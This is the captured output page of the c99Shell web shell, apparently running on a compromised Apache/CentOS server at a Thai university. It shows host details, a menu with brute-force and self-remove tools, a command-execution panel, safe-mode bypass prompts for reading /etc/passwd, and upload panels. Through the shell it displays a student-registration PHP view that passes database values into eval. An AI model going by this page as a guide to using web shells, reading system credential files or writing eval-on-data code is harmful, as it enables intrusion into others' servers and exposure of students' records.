!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showExpectGDSt.php (3.15 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$row_cur 
= (isset($qu_cur) && $qu_cur!=NULL) ? $qu_cur->row() : NULL;
$row_ac = (isset($qu_ac) && $qu_ac!=NULL) ? $qu_ac->row() : NULL;
?>
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td>
            <div align="center">
            <table width="100%" align="center" cellpadding="0" cellspacing="1" border="0">
                <tr>
                    <td><table class="szone">
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone"><font size="2">หลักสูตร</font></td>
                            <td><font size="2"><?php echo setValue('curName',$row_cur);?></font></td>
                        </tr>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td class="coltd_szone"><font size="2">ปีการศึกษาที่เข้า</font></td>
                            <td><font size="2"><?php echo $adY;?></font></td>
                        </tr>
                    </table></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td colspan="2"><table class="headCol">
                        <tr>
                            <th class="seqCol"><font size="2" color="<?php echo $font_color_table;?>">ลำดับที่</font></th>
                            <th class="stdCodeCol"><font size="2" color="<?php echo $font_color_table;?>">รหัสนักศึกษา</font></th>
                            <th><font size="2" color="<?php echo $font_color_table;?>">ชื่อ-นามสกุลนักศึกษา</font></th>
                            <th class="domAmtCol"><font color="<?php echo $font_color_table;?>" size="2">สถานะนักศึกษา</font></td>
                            <th class="domAmtCol"><font color="<?php echo $font_color_table;?>" size="2">เกียรตินิยม</font></td>
                        </tr>
<?php
                $i 
0;
                if(isset(
$rs_std) && $rs_std->num_rows()) {
                    foreach(
$rs_std->result() as $row_std) {
                        eval(
"\$str = \"acHonor$row_std->stdHonor\";");
                        echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";

?>
                            <td align="center"><font size="2"><?php echo $i+1;?></font></td>
                            <td align="center"><font size="2"><?php echo $row_std->stdCode;?></font></td>
                            <td class="indent"><font size="2" ><?php echo $row_std->prefixName.$row_std->stdName.' '.$row_std->stdSurname;?></font></td>
                            <td align="center"><font size="2" color="<?php if($row_std->stdSstId==3) { echo $font_color_err; } ;?>"><?php echo $row_std->sstName;?></font></td>
                            <td align="center"><font size="2" ><?php if($row_std->stdHonor) { echo $row_ac->$str; }?></font></td>
                        </tr>
<?php
                        $i
++;
                    }
                } else {
?>
                        <tr>
                            <td colspan="5" align="center"><font size="2" color="<?php echo $font_color_err;?>">** ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
                        </tr>
<?php
                
}
?>
                    </table></td>
                </tr>
                <tr>
                    <td colspan="5" align="right"><font size="2" >รวม <?php echo $i;?> รายการ</font></td>
                </tr>
                <tr>
                    <td colspan="2" align="center"><br>
                    <input type="button" name="print" value="พิมพ์หน้านี้" onClick="window.print()">

                    </td>
                </tr>
            </table></div>
        <br></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0063 ]--